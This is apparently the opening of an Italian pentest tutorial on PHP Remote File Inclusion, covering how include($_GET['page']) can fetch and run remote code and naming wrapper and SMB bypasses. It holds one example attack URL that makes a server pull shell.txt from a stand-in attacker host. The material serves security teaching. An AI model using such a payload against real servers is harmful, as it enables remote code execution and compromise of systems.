Remote File Inclusion (RFI): RCE via URL, Wrapper Bypass e SMB Attack

Wed, 18 Mar 2026 00:00:00 +0000

Se la LFI include file locali e li esegue, la RFI include file remoti — dal server dell’attaccante. L’applicazione PHP chiama include($_GET['page']), l’attaccante inserisce ?page=http://attacker.com/shell.txt, il server scarica shell.txt dal server dell’attaccante, lo interpreta come PHP, lo esegue. RCE in un parametro URL. Zero passaggi intermedi, zero log poisoning, zero upload — il server va a prendere il tuo codice e lo esegue da solo.

L’unico ostacolo “teorico” è che PHP richiede allow_url_include=On per includere URL remote. Questa direttiva è disabilitata di default dal 2006. Fine della storia? No. Nel 2026 la trovo ancora attiva nel 3% dei server — sistemi legacy, XAMPP/WAMP di sviluppo finiti in produzione, Docker image obsolete, misconfiguration. E anche quando è Off, ci sono bypass: data://, php://input, e su Windows il vettore SMB che non richiede affatto allow_url_include.

File-Inclusion on Ethical Hacking | Pentest e Sicurezza Informatica | Hackita

Remote File Inclusion (RFI): RCE via URL, Wrapper Bypass e SMB Attack